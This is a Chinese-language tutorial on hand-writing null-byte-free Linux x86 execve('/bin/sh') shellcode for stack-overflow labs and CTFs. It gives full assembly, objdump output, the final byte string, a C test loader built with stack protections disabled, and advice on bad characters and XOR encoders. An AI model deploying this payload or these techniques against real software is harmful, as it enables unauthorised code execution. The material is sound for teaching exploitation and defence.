1. 项目概述：为什么我们需要“无零字节”的Shellcode？

在安全研究和渗透测试领域，Shellcode的编写是一项基础且核心的技能。它本质是一段用于利用软件漏洞、注入并执行的机器码。如果你接触过SEED Labs这类经典的安全实验环境，或者尝试过在CTF比赛中完成栈溢出题目，那你一定遇到过“坏字符”（Bad Characters）这个概念。而在所有坏字符中，零字节（\x00）是最常见、也最令人头疼的一个。

为什么零字节如此特殊？想象一下，你精心构造的Shellcode通过一个存在缓冲区溢出漏洞的strcpy函数注入。strcpy这个函数在拷贝字符串时，一旦遇到\x00（即C语言中的字符串结束符\0），就会认为字符串已经结束，从而停止拷贝。结果就是，你注入的Shellcode被拦腰截断，后半部分完全失效，利用自然失败。除了strcpy，许多其他基于字符串处理的函数（如scanf,gets,strcat等）都有类似的问题。因此，编写一段不包含任何\x00字节的Shellcode，是绕过这些限制、成功实现利用的第一道门槛。

网上能找到的Shellcode示例很多，但要么过于简单（如直接调用execve(“/bin/sh”)的经典Linux x86_64 Shellcode），要么缺乏对“避零”过程的详细拆解。很多新手照着抄，一旦环境稍有变化（比如寄存器初始值不同、内存地址包含零字节），就立刻抓瞎。这正是我们这次动手实践的价值所在：我们不只给出一段能用的代码，更要手把手带你走一遍从有零到无零的完整“净化”过程，让你理解每一条指令替换背后的原理和技巧。掌握了这套方法，你就能应对各种复杂的坏字符限制，而不仅仅是零字节。

2. 核心原理：x86汇编与Shellcode的“坏字符”困境

要编写无零字节的Shellcode，我们必须深入到汇编指令和机器码的层面。这要求我们暂时从高级语言的舒适区走出来，直面处理器最原始的指令。

2.1 x86指令集与机器码编码

x86指令采用变长编码，一条指令由操作码（Opcode）和操作数（Operand）组成。操作码告诉CPU做什么（如mov,add,int），操作数则指定数据的来源和去向（如寄存器、内存地址、立即数）。编译器或汇编器会将我们写的汇编助记符（如mov eax, 1）翻译成对应的机器码字节序列。

问题就出在这里：某些指令或操作数本身就会产生零字节。例如：

• 立即数中的零：mov eax, 0x80的机器码可能是\xb8\x80\x00\x00\x00（这里\xb8是mov eax的操作码，后面四个字节是32位的立即数0x80，高位用零填充）。
• 内存地址中的零：如果我们的Shellcode需要引用一个位于0x0804a000的字符串，这个地址本身在机器码中就会包含\x00字节。
• 某些指令的默认操作码：一些不常用的指令或特定格式的操作码可能本身就包含零。

2.2 零字节产生的常见场景与规避思路

我们的目标是编写出的机器码序列中，没有一个字节是\x00。以下是几个典型的“产零”场景及通用的解决思路：

1. 对寄存器赋零值：

   • 问题指令：mov eax, 0。这条指令的机器码直接包含零字节。
   • 解决方案：使用异或运算。xor eax, eax会将EAX寄存器与自己进行异或，结果必然是0，且这条指令的机器码是\x31\xc0，没有零字节。这是最经典、最高效的清零方式。

2. 使用较小的立即数：

   • 问题：像mov al, 0x4这样的指令，如果操作码格式要求将8位值放入32位寄存器的低8位，有时编译器/汇编器生成的机器码可能会对高位进行零扩展，从而产生零字节。这取决于具体的汇编器和上下文。
   • 解决方案：优先使用xor清零后，再用add或sub来设置值。或者，确保使用正确的指令变体。更稳健的方法是，永远通过运算来构造所需的值，而不是直接写入可能产生零的立即数。

3. 引用数据（如字符串）：

   • 问题：Shellcode中经常需要嵌入字符串，如/bin/sh。在汇编中，我们通常将其作为数据常量定义。如果这个字符串在内存中的地址（例如0x804a00c）包含零字节，那么引用它的指令（如mov ebx, 0x804a00c）的机器码就会包含零。
   • 解决方案：这是Shellcode编写中最有技巧的部分。我们采用“栈上构造”的策略。即，不直接引用一个固定的内存地址，而是动态地将字符串的ASCII码值压入栈中，然后用栈指针ESP（或EBP）作为字符串的起始地址。因为ESP的值是运行时动态确定的，我们无法预知，但可以确保引用它的指令（如mov ebx, esp）不产生零字节。

理解了这些核心困境和思路，我们就可以开始动手，一步步打造自己的无零字节Shellcode了。下面，我将以一个经典的Linux x86execve(“/bin/sh”, NULL, NULL)Shellcode为例，展示完整的编写、分析和优化过程。

3. 从零开始：编写一个“有零”的原始Shellcode

让我们先写出最直观、但包含零字节的版本。我们的目标是执行execve(“/bin/sh”, 0, 0)，启动一个shell。

在Linux x86系统调用中，execve的系统调用号是11（十六进制0xb）。参数传递规则是：eax存放系统调用号，ebx存放第一个参数（程序路径字符串的地址），ecx存放第二个参数（参数数组地址，这里为NULL），edx存放第三个参数（环境变量数组地址，这里也为NULL）。触发系统调用使用int 0x80指令。

对应的汇编程序（使用Intel语法）可能如下：

section .text global _start _start: ; 系统调用号: execve = 11 mov eax, 11 ; 产生零字节！机器码: \xb8\x0b\x00\x00\x00 ; 第一个参数: 指向字符串 “/bin/sh” 的指针 mov ebx, shell_str ; 假设shell_str地址是0x804a000，也会产生零字节！ ; 第二、三个参数: NULL mov ecx, 0 ; 产生零字节！\xb9\x00\x00\x00\x00 mov edx, 0 ; 产生零字节！\xba\x00\x00\x00\x00 ; 触发系统调用 int 0x80 ; 机器码: \xcd\x80 (无零字节) section .data shell_str: db ‘/bin/sh’, 0 ; 字符串以零结尾，但这个零是字符串内容的一部分， ; 在拷贝时会被strcpy截断，所以也需要处理。

注意：上面的汇编代码是为了理解逻辑而写的“伪代码”。在实际提取Shellcode时，我们通常会用nasm编译、objdump反汇编来获取机器码。这里直接写出可能产生的机器码是为了说明问题。

这段代码至少有4处会产生零字节：

1. mov eax, 11：立即数11（0xb）在32位寄存器中，会编码为0x0000000b，高位是零。
2. mov ebx, shell_str：如果shell_str的地址是类似0x0804a000，那么地址本身包含零。
3. mov ecx, 0和mov edx, 0：清零操作直接产生零。

此外，数据段中的字符串/bin/sh以\x00结尾，如果我们的注入方式遇到字符串函数，这个结尾的零也会导致截断。

所以，这个版本是完全不可用的。接下来，我们就要施展“避零大法”，对它进行彻底改造。

4. 手把手净化：打造无零字节Shellcode

我们将采用“栈上构造字符串”和“指令替代”两大策略，逐步消除所有零字节。

4.1 第一步：消除寄存器赋值中的零

1. 系统调用号execve (11)的构造我们不能直接用mov eax, 11。可以采用先清零，再加11的方法。

xor eax, eax ; eax = 0, 机器码: \x31\xc0 (无零) mov al, 11 ; 将11（0xb）放入eax的低8位al。注意：这里需要确认指令是否产零。

等等，mov al, 11的机器码是\xb0\x0b，看起来没有零。但是，在某些上下文或汇编器中，对8位寄存器的立即数移动通常是安全的。为了绝对可靠，我们甚至可以更迂回：

xor eax, eax ; eax = 0 add al, 11 ; al = 0 + 11, 机器码: \x04\x0b (无零)

这里add al, 11的机器码是\x04\x0b，同样没有零字节。我更喜欢用add，意图更清晰。

2. 将 ecx 和 edx 清零这很简单，直接用异或指令：

xor ecx, ecx ; ecx = 0, 机器码: \x31\xc9 xor edx, edx ; edx = 0, 机器码: \x31\xd2

这两条指令高效且无零。

4.2 第二步：在栈上构造“/bin/sh”字符串

我们不能直接引用一个固定地址的字符串。思路是：将字符串的ASCII码以反向顺序（因为栈是向下增长的，压栈后栈顶指向字符串开头）压入栈中，然后将栈指针ESP的值赋给EBX。

字符串/bin/sh需要被处理。我们通常使用//bin/sh（8个字节）或者/bin//sh（8个字节）。使用两个斜杠//在Linux中等价于一个/，并且凑成8字节可以方便地用两个32位（4字节）数据压栈。我们选择/bin//sh。

首先，将字符串转换为十六进制ASCII码，并组织成32位双字（DWORD）：

• ‘/bin//sh’的ASCII码是：2f 62 69 6e 2f 2f 73 68
• 我们需要按4字节一组，并且以小端序（Little-Endian）从后往前压栈。
• 所以，先压入第二组：‘//sh’->0x68732f2f
• 再压入第一组：‘/bin’->0x6e69622f

但是，注意0x68732f2f和0x6e69622f这两个双字本身包含零字节吗？检查一下：0x68,0x73,0x2f,0x2f和0x6e,0x69,0x62,0x2f，没有一个字节是\x00。完美。

对应的汇编操作如下：

xor eax, eax ; 清空eax，同时为后面压栈做准备（可选，但保持习惯） push eax ; 压入一个零字节，作为字符串的终止符。但等等，push 0会产生零字节吗？

push 0的机器码是\x6a\x00或\x68\x00\x00\x00\x00（取决于汇编器），这会产生零！所以，我们不能直接push 0。我们需要用已经清零的寄存器来压入零。

push edx ; 此时edx已经是0，将0压栈作为字符串终止符。机器码: \x52 (无零)

现在压入字符串：

push 0x68732f2f ; 压入 “//sh”， 注意：立即数0x68732f2f会产生零字节吗？

push 0x68732f2f的机器码是\x68\x2f\x2f\x73\x68。\x68是push立即数的操作码，后面四个字节就是小端序的立即数本身：\x2f\x2f\x73\x68。检查一下，没有\x00。安全。

push 0x6e69622f ; 压入 “/bin”， 机器码: \x68\x2f\x62\x69\x6e (无零)

此时，栈的布局从高地址到低地址（栈顶在低地址）是：

低地址 (栈顶 ESP) -> | 0x6e69622f (‘nib/’) | 0x68732f2f (‘hs//’) | 0x00000000 (‘\0’) | ……

ESP当前正指向字符串‘/bin//sh\0’的起始地址（即第一个字符/的地址）。

最后，将栈指针赋给EBX：

mov ebx, esp ; ebx指向 “/bin//sh\0” 字符串。机器码: \x89\xe3 (无零)

4.3 第三步：整合与触发系统调用

现在，我们已经有了：

• eax：通过add al, 11设置了系统调用号。
• ebx：指向栈上的字符串/bin//sh\0。
• ecx和edx：已经通过xor指令清零。

是时候触发系统调用了：

int 0x80 ; 机器码: \xcd\x80 (无零)

4.4 完整汇编代码与机器码提取

让我们把上面的步骤整合成一个完整的、无零字节的汇编程序 (shellcode.asm)：

section .text global _start _start: ; 1. 初始化寄存器 (清零并设置系统调用号) xor eax, eax ; eax = 0 add al, 11 ; eax = 11 (execve系统调用号) xor ecx, ecx ; ecx = 0 (argv) xor edx, edx ; edx = 0 (envp) ; 2. 在栈上构造字符串 “/bin//sh\0” push edx ; 压入字符串终止符 NULL (edx=0) push 0x68732f2f ; 压入 “//sh” push 0x6e69622f ; 压入 “/bin” mov ebx, esp ; ebx指向字符串起始地址 ; 3. 触发 execve 系统调用 int 0x80

使用nasm汇编并链接：

nasm -f elf32 shellcode.asm -o shellcode.o ld -m elf_i386 shellcode.o -o shellcode

使用objdump提取机器码：

objdump -d shellcode

输出会类似于：

shellcode: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: 04 0b add $0xb,%al 8048084: 31 c9 xor %ecx,%ecx 8048086: 31 d2 xor %edx,%edx 8048088: 52 push %edx 8048089: 68 2f 2f 73 68 push $0x68732f2f 804808e: 68 2f 62 69 6e push $0x6e69622f 8048093: 89 e3 mov %esp,%ebx 8048095: cd 80 int $0x80

现在，我们得到了无零字节的Shellcode机器码：\x31\xc0\x04\x0b\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

逐字节检查，确认没有一个\x00。成功！

5. 测试与验证：让Shellcode真正跑起来

编写出来只是第一步，我们必须验证它的有效性。通常我们会用一个C语言的小程序来充当“加载器”（Loader），将Shellcode作为字节数组注入并执行。

创建一个测试程序test_shellcode.c：

#include <stdio.h> #include <string.h> // 我们的无零字节Shellcode unsigned char code[] = “\x31\xc0\x04\x0b\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”; int main() { printf(“Shellcode 长度: %zu 字节\n”, strlen(code)); // 注意：strlen遇到\x00会停止，这里用来测试无零 printf(“开始执行 Shellcode...\n”); // 声明一个函数指针，指向我们的Shellcode int (*func)() = (int(*)())code; // 调用它 func(); return 0; // 如果Shellcode成功，这行不会被执行 }

编译并运行测试（在32位环境或使用-m32编译）：

gcc -m32 -z execstack -fno-stack-protector test_shellcode.c -o test_shellcode ./test_shellcode

• -m32：编译为32位程序。
• -z execstack：让栈内存可执行，这是Shellcode能够运行的关键。
• -fno-stack-protector：关闭栈保护，避免不必要的干扰。

如果一切正常，程序会打印出长度（应该是23），然后执行Shellcode，你会获得一个shell提示符（$）。输入exit可以退出这个shell，回到原来的终端。

实操心得：在Linux现代发行版上，由于安全特性（如NX/DEP，数据执行保护）默认开启，即使使用-z execstack，也可能因为系统级配置导致栈不可执行。如果测试失败，可以先检查编译选项，并确认系统是否处于允许测试的环境（如SEED Labs虚拟机、CTF专用环境或已调整安全策略的系统）。

6. 避坑指南与高级技巧

在实际编写和调试Shellcode时，你会遇到比教科书例子更复杂的情况。以下是一些关键的避坑点和进阶技巧。

6.1 指令变体与编码陷阱

并不是所有mov al, IMM8或add al, IMM8指令都是安全的。x86指令编码有时依赖于前缀和上下文。最稳妥的方法是使用工具验证。

• 使用nasm和objdump：这是最可靠的方法。编写汇编，编译，反汇编查看机器码。
• 使用在线汇编器/反汇编器：如defuse.ca或shell-storm.org提供的工具，可以快速检查指令编码。
• 警惕符号扩展：某些指令在操作8位寄存器时，可能会影响高位寄存器，或者其编码方式出乎意料。当不确定时，使用xor清零后add是更安全的组合。

6.2 处理更复杂的坏字符列表

零字节只是最常见的坏字符。在实际漏洞中，可能会遇到一个坏字符列表，例如\x00\x0a\x0d\xff（分别对应NULL、换行、回车和一个特定值）。我们的“净化”原则需要扩展：

1. 避免使用坏字符作为立即数：如果坏字符包含\x0a，那么add al, 0x0a就不行。你需要通过多次运算来构造这个值，例如add al, 0x5两次。
2. 避免坏字符出现在地址中：如果栈地址可能包含坏字符（例如0xff），那么mov ebx, esp可能安全，但如果你需要计算一个偏移地址（如lea ebx, [esp+0x10]），就需要确保计算结果不包含坏字符。有时需要通过调整栈布局（如多压入一些无害数据）来改变最终地址。
3. 指令编码本身包含坏字符：极少数指令的操作码可能包含坏字符。如果遇到，必须寻找功能等效的替代指令序列。

6.3 编码器（Encoder）的使用

当坏字符太多，或者手工构造过于复杂时，可以使用编码器（Encoder）。其原理是：先编写一段包含所有必要指令的“原始Shellcode”（可能包含坏字符），然后使用一个编码器（如XOR编码器、ADD编码器）对其进行变换，生成一段不包含坏字符的“编码后Shellcode”和一个短小的“解码存根”（Decoder Stub）。解码存根负责在运行时将Shellcode解码还原并执行。

例如，一个简单的XOR编码器，会用某个密钥（Key）对原始Shellcode的每个字节进行异或运算。解码存根会包含一个循环，对编码后的数据执行同样的异或操作来还原。只要密钥和编/解码过程不产生坏字符，就能绕过过滤。

编写解码存根本身也是一段需要满足无坏字符要求的Shellcode，但这通常比直接构造复杂的原始Shellcode要简单。

6.4 调试技巧：当Shellcode不工作时

1. 使用strace：strace ./test_shellcode可以跟踪程序执行的系统调用。如果你看到execve(“/bin//sh”, …)被调用但失败了，可能是路径问题或参数问题。如果根本没看到execve，说明Shellcode可能崩溃在更早的地方。
2. 使用gdb：
   • gdb ./test_shellcode
   • 在调用Shellcode的代码处设断点：break main
   • 运行：run
   • 单步步入Shellcode：stepi(si)。你可以观察每条指令执行后寄存器和栈的变化。
   • 关键技巧：在Shellcode起始地址设断点，然后使用display /i $pc来持续显示下一条要执行的指令，用x/10i $pc查看后续指令。
3. 检查核心转储：如果程序崩溃，系统可能会生成核心转储文件。用gdb ./test_shellcode core加载，查看崩溃时的状态。
4. 逐字节核对：将你提取的Shellcode机器码，与通过可靠方法（如objdump）得到的字节逐一比对，确保在复制粘贴过程中没有引入错误或不可见字符。

编写无零字节的Shellcode是二进制漏洞利用的基石。这个过程强迫你深入理解处理器指令、内存布局和系统调用约定。虽然现在64位（x64）系统已是主流，其调用约定（参数通过寄存器传递，系统调用使用syscall指令）与32位不同，但“避免坏字符”的核心思想和技巧是相通的。掌握了在x86上的这套方法，再过渡到x64或其他架构，你会发现自己拥有了透过现象看本质的能力，能够快速适应新的环境。真正的熟练，来自于像这样一次次亲手将原理转化为可工作的代码，并解决其中每一个令人抓狂的细节问题。